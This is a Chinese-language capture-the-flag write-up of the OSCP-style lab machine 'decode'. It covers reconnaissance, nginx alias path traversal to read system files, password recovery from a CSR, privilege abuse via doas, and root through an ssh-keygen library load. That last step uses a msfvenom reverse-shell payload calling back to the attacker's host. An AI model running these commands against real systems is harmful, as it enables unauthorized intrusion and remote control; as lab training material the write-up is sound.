【OSCP】decode

admin 2024年4月14日19:30:50评论3 views字数 4509阅读15分1秒阅读模式
【OSCP】decode

OSCP 靶场

【OSCP】decode

靶场介绍

decode

esay

nginx配置错误利用、openssl 使用、doas使用、ssh私钥、ssh-keygen 提权

信息收集

主机发现

nmap -sn 192.168.1.0/24

【OSCP】decode

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -A -p- -T4 192.168.1.106
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-10 01:45 EST
Nmap scan report for 192.168.1.106
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
| 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
| http-robots.txt: 1 disallowed entry
|_/encode/
|_http-title: Welcome to nginx!
MAC Address: 08:00:27:94:AA:92 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.05 ms 192.168.1.106

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

目录扫描

obuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.106 -x php,txt,html -e
└─# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.106 -x php,txt,html -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.106
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.106/index.html (Status: 200) [Size: 612]
http://192.168.1.106/cgi-bin (Status: 301) [Size: 169] [--> http://192.168.1.106/cgi-bin/]
http://192.168.1.106/1 (Status: 200) [Size: 240]
http://192.168.1.106/file.php (Status: 200) [Size: 0]
http://192.168.1.106/robots.txt (Status: 200) [Size: 240]
http://192.168.1.106/decode (Status: 301) [Size: 169] [--> http://192.168.1.106/decode/]
Progress: 882240 / 882244 (100.00%)

这里的目录并访问都是404,lfi../这个看着像是nginx的“别名”配置错误

【OSCP】decode

通过curl 工具可以看到,location 后面都会增加一个/

【OSCP】decode

有另一个提示“cgi-bin”和“decode.sh”。Debian Linux 发行版上的“/usr/lib/cgi-bin”目录中的“cgi-bin”包含可以由服务器运行的脚本。可以看到在默认的托管服务器位置中只有四个文件。然而,我们的 Nginx 服务器响应了 /decode 路径。这明确表明路径是别名或反向代理

┌──(root㉿kali)-[~]
└─# curl http://192.168.1.106/cgi-bin/decode.sh
DATE: Wed 10 Jan 2024 02:54:22 AM EST

PWD: /var/www/html/
CMD: ls -la

total 24
drwxr-xr-x 2 www-data www-data 4096 Apr 15 2022 .
drwxr-xr-x 3 root root 4096 Apr 11 2022 ..
-rw-r--r-- 1 root root 240 Apr 15 2022 1
-rw-r--r-- 1 root root 22 Apr 14 2022 file.php
-rw-r--r-- 1 root root 612 Apr 13 2022 index.html
-rw-r--r-- 1 root root 240 Apr 15 2022 robots.txt

如下我们成功访问到passwd 文件

【OSCP】decode

【OSCP】decode

这里增加../,到达了 /decode 路径上方一级的根目录

【OSCP】decode

这里可以看到steve的主目录是“/usr/share”

【OSCP】decode

【OSCP】decode

检查了用户“steve”的 bash 历史文件,发现有csr 文件“证书签名报告”,它为我们提供了 SSL 证书中使用的 CSR 文件“证书签名报告”。

【OSCP】decode

curl  192.168.1.106/decode../usr/share/ssl-cert/decode.csr -O
file ./decode.csr
openssl req -in ./decode.csr -noout -text

查看证书openssl 工具查看内容,发现存在一个密码

【OSCP】decode

权限获取

通过提密码成功登录ssh

【OSCP】decode

权限提升

【OSCP】decode

/usr/bin/doas 是一个二进制文件,允许我们代表另一个用户执行命令。该二进制文件还有一个配置,用于存储有关用户可以执行的命令的信息。配置也很简单。我们可以看到用户可以代表用户“ajneya”使用命令“cp”。

【OSCP】decode

我们查看ajneya的主目录时,发现“.ssh”目录。那么,我们可以将 SSH 公钥复制到目录 .ssh 中,文件名为“authorized_keys”。然后,我们可以授予该目录开放权限,以便用户 ajneya 可以将其复制到他的主目录。

我们将kali的公钥复制到靶机中的 /home/ajneya/

steve@decode:/tmp$ chmod 777 -R .ssh/
steve@decode:/tmp$ doas -u ajneya cp -r .ssh/ /home/ajneya/
─# ssh [email protected] -i id_rsa
Warning: Identity file id_rsa not accessible: No such file or directory.
Linux decode 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ajneya@decode:~$ id
uid=1003(ajneya) gid=1003(ajneya) groups=1003(ajneya)
ajneya@decode:~$ ls
user.txt
ajneya@decode:~$ cat user.txt
ee11cbb19052e40b07aac0ca060c23ee
ajneya@decode:~$

【OSCP】decode

执行sudo -l 发现用户能够以 root 身份执行 ssh-keygen

【OSCP】decode

我们先使用msfvemon 生成payload,然后下载到靶机上

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.158 LPORT=2332 -o lib.so -f elf-so

【OSCP】decode

【OSCP】decode

由于/opt/目录下是属于decoder 用户的,如果要将文件放“/opt/*”目录下,我们需要使用 steve 用户的 sudo 权限在“/opt/decode”目录上写入内容。

cat /tmp/lib.so | sudo -u decoder tee /opt/decode/lib.so

【OSCP】decode

最后我们使用nc 监听一个端口,然后使用ssh-keygen 执行lib.so ,成功反弹shell

【OSCP】decode

End

“点赞、在看与分享都是莫大的支持”

【OSCP】decode

【OSCP】decode

原文始发于微信公众号(贝雷帽SEC):【OSCP】decode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月14日19:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP】decodehttps://cn-sec.com/archives/2655883.html

发表评论

匿名网友 填写信息